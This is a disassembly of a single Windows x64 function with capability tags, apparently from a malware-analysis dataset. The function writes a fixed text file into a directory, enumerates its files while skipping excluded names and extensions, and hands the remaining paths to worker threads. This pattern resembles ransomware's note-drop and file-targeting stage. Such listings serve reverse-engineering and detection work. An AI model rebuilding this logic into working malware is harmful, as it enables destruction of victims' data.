Function at 0x140008aa0
Capabilities:
Enumerate files on windows
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push r14
push r15
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov r14, rcx
mov rcx, qword [0x14000f810]
mov edx, 8
mov r8d, 0x10040
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x140008ac4
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140004240]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor r15d, r15d
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov edx, 0x40000000
mov dword [rsp + 0x28], r15d
mov rcx, rbp
mov dword [rsp + 0x20], 1
lea r8d, [r15 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140008b66
lea rcx, [0x1400019d0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], r15
mov r8d, eax
lea rdx, [0x1400019d0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, r14
mov qword [rsp + 0x2e8], rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140004280]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140008e6b
mov qword [rsp + 0x2f0], r12
lea r12, [0x14000f050]
nop dword [rax]
nop dword [rax + rax]
mov ebx, r15d
mov rdi, r12
nop word [rax + rax]
mov rdx, qword [rdi]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140008e3f
inc ebx
add rdi, 8
cmp ebx, 0x25
jb 0x140008bd0
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140004288]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x7c]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
test byte [rsp + 0x50], 0x10
jne 0x140008e3f
lea rdx, [0x140003f00]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140008e3f
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, 1
movsxd rcx, eax
js 0x140008cd0
cmp word [rsp + rcx*2 + 0x7c], 0x2e
je 0x140008c65
dec eax
sub rcx, 1
jns 0x140008c53
jmp 0x140008cd0
cdqe
lea rbx, [rsp + 0x7c]
lea rdx, [0x140004290]
lea rbx, [rbx + rax*2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140008e3f
lea rdx, [0x1400042a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140008e3f
lea rdx, [0x1400042b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140008e3f
lea rdx, [0x140004190]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140008e3f
mov rcx, qword [0x14000f730]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140008d7b
nop word [rax + rax]
mov rcx, qword [0x14000f738]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008cd0
lea rcx, [0x14000f740]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsxd rcx, dword [0x14000f77c]
mov rbx, qword [0x14000f770]
lea eax, [rcx + 1]
mov rbx, qword [rbx + rcx*8]
cdq
idiv dword [0x14000f768]
lea rcx, [0x14000f740]
mov dword [0x14000f77c], edx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [0x14000f730]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test rbx, rbx
je 0x140008cd0
mov rcx, rbx
call fcn.140007d30
mov rcx, qword [0x14000f810]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140008cf0
lea rcx, [0x14000f740]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
movsxd rbx, eax
add rbx, 2
nop word [rax + rax]
mov rcx, qword [0x14000f810]
lea r8, [rbx + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9, rax
test rax, rax
je 0x140008da0
mov dword [rsp + 0x40], r15d
movsxd rcx, dword [rsp + 0x40]
cmp rcx, rbx
jae 0x140008df7
nop dword [rax]
movsxd rcx, dword [rsp + 0x40]
movsxd rax, dword [rsp + 0x40]
movzx r8d, byte [rcx + rbp]
mov byte [rax + r9], r8b
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, rbx
jb 0x140008dd0
movsxd rcx, dword [0x14000f778]
mov rax, qword [0x14000f770]
mov qword [rax + rcx*8], r9
lea rcx, [0x14000f740]
mov eax, dword [0x14000f778]
inc eax
cdq
idiv dword [0x14000f768]
mov dword [0x14000f778], edx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [0x14000f738]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140008bc0
mov r12, qword [rsp + 0x2f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x140008f27
cmp dword [0x14000f808], r15d
je 0x140008f27
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], r15
mov r8, r14
mov qword [rsp + 0x30], r15
mov r9d, eax
mov dword [rsp + 0x28], r15d
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rsi, eax
nop dword [rax + rax]
mov rcx, qword [0x14000f810]
lea r8, [rsi + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140008eb0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], r15
mov r8, r14
mov qword [rsp + 0x30], r15
mov r9d, eax
mov dword [rsp + 0x28], esi
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
lea rcx, [0x1400042c0]
mov r8d, eax
call fcn.1400053c0
mov rcx, qword [0x14000f810]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x14000f810]
mov r8, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.14000dfa0
add rsp, 0x2b0
pop r15
pop r14
pop rsi
pop rbp
pop rbx
ret